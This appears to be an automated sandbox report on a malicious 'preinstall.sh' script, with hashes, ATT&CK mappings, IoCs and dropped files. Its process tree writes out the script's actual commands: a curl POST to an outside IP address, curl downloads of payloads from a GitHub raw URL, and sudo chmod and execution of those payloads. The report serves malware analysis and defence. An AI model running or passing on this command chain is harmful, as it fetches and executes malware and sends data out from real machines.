247fdba5fbfd076d9c530d937406aa097d6794b9af26bfc64bf6ea765ed51a50

General

Target
preinstall.sh
Size 404B
Sample250911-hthprshr5y
SHA256 247fdba5fbfd076d9c530d937406aa097d6794b9af26bfc64bf6ea765ed51a50
MD5 59d1152449a503665f552cba0455f02d
SHA1 7117c6f2d664947a961a38d289b3df42d3722252
SHA512 c30f75c0565325b1162c1173ef28eab10c3453bcc14c14acca91765b623f6634130b55148ab91d0ec3d611e4aa7e0f3e723eeaf7b0efc7888c1f5f0322f547be
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod
795	sudo
796	chmod
819	sudo
822	chmod
735	sudo

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/x64nvidia	800	sudo

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 2 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
740	sudo
798	sudo

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
1	raw.githubusercontent.com
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Reads runtime system information 25 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/self/stat	sudo

/tmp/preinstall.sh
/tmp/preinstall.sh
1⤵
PID:704

/usr/local/sbin/bash
bash /tmp/preinstall.sh
1⤵
PID:704

/usr/local/bin/bash
bash /tmp/preinstall.sh
1⤵
PID:704

/usr/sbin/bash
bash /tmp/preinstall.sh
1⤵
PID:704

/usr/bin/bash
bash /tmp/preinstall.sh
1⤵
PID:704

/sbin/bash
bash /tmp/preinstall.sh
1⤵
PID:704

/bin/bash
bash /tmp/preinstall.sh
1⤵
PID:704
- /usr/bin/base64
  base64
  2⤵
  PID:710
- /usr/bin/curl
  curl -X POST -H "Content-Type: text/plain" --data http://172.86.93.139:3000/pawr/
  2⤵
  - Reads runtime system information
  PID:715
- /usr/bin/curl
  curl -sk -A 206 -o /var/tmp/downx64.sh https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/downx64.sh
  2⤵
  - Reads runtime system information
  PID:717
- /usr/bin/sudo
  sudo -S chmod +x /var/tmp/downx64.sh
  2⤵
  - File and Directory Permissions Modification
  - Reads runtime system information
  PID:735
- - /bin/chmod
    chmod +x /var/tmp/downx64.sh
    3⤵
    - File and Directory Permissions Modification
    PID:738

/usr/bin/sudo
sudo -S sh /var/tmp/downx64.sh
1⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:740
- /bin/sh
  sh /var/tmp/downx64.sh
  2⤵
  PID:741
- - /bin/mkdir
    mkdir -p /root/.n3
    3⤵
    - Reads runtime system information
    PID:742
- - /usr/bin/curl
    curl -k -A 205 -o /var/tmp/x64nvidia https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/x64nvidia
    3⤵
    - Reads runtime system information
    PID:744
- - /usr/bin/sudo
    sudo -S chmod +x /var/tmp/x64nvidia
    3⤵
    - File and Directory Permissions Modification
    - Reads runtime system information
    PID:795
  - - /bin/chmod
      chmod +x /var/tmp/x64nvidia
      4⤵
      File and Directory Permissions Modification
      PID:796
- - /usr/bin/curl
    curl -k -A 207 -o /root/.n3/payuniversal2 https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/payuniversal2
    3⤵
    - Reads runtime system information
    PID:799
- - /usr/bin/sudo
    sudo -S /var/tmp/x64nvidia
    3⤵
    - Executes dropped EXE
    - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
    - Reads runtime system information
    PID:798
  - - /var/tmp/x64nvidia
      /var/tmp/x64nvidia
      4⤵
      PID:800
  - - /bin/sh
      sh /var/tmp/x64nvidia
      4⤵
      PID:800
- - /usr/bin/sudo
    sudo -S chmod +x /root/.n3/payuniversal2
    3⤵
    - File and Directory Permissions Modification
    - Reads runtime system information
    PID:819
  - - /bin/chmod
      chmod +x /root/.n3/payuniversal2
      4⤵
      File and Directory Permissions Modification
      PID:822

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Sudo and Sudo Caching

1

T1548.003

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Sudo and Sudo Caching

1

T1548.003

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

payuniversal2

Path /root/.n3/payuniversal2
Size 7.3MB
SHA256 eba9fdb2f077f9a3e14cf428162b967b5e6c189db19c33c5b11601efcd02b3d3
MD5 a8269069133ecf1924db2b5d712f33ad
SHA1 9950e35e1197ae1796ed9a6d7fadcec244ad6719
SHA512 4f9adf7025f9588821f50e04ebb96c4a83d0f8fdeb9782716a96da9191465cdc43dda80951e8f8b420e7a890ff7d9d8cf554e25c63101c4d71d84195529d260f
SSDEEP 196608:mSarjTNTnmUtPAsfdo7kZC1o0AL01aif9:parjdf4uYkIAY9
MD5 SHA1 SHA512 SSDEEP

Submit Download

downx64.sh

Path /var/tmp/downx64.sh
Size 779B
SHA256 65665c3faba4fbfed12488e945306b10131afb9d3ad928accdcef75e0945a086
MD5 349de8d66501b53a38beca5b331d98e5
SHA1 0660a175f9f155865489fd1b8cfd6d67c1bac4b7
SHA512 de83863cec6185b5d99604ca487223f917d79f9ccf1b57372fb20bdf2b31f36d54c6964d7878147907cbc23abbb4f83af6d727052e7ea5974d5e10373dd92bd9
MD5 SHA1 SHA512

Submit Download

x64nvidia

Path /var/tmp/x64nvidia
Size 88.3MB
SHA256 25c9fc5c5564a74430b92cb658d43e441dee1b3c0f692dc2571ac2918efa9a52
MD5 29580d9b25558cdefaf21c3c58e4f61b
SHA1 23183499c17e6f5ca8888634bc3e199d12c05e3f
SHA512 c5811496ea5d37b1c15473be92edacd7f8cce40558bdcedd9c3441554a5f764b83086e213403e98a687ce4588ff0d1ab594391798be0f17afdb097299d7718d5
SSDEEP 786432:f0wFj1SK3XQhLBw/tRf8UAtgPdBsHCWFI0012u5qK:f0wFj1ehLBmf84fQCWF5K
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads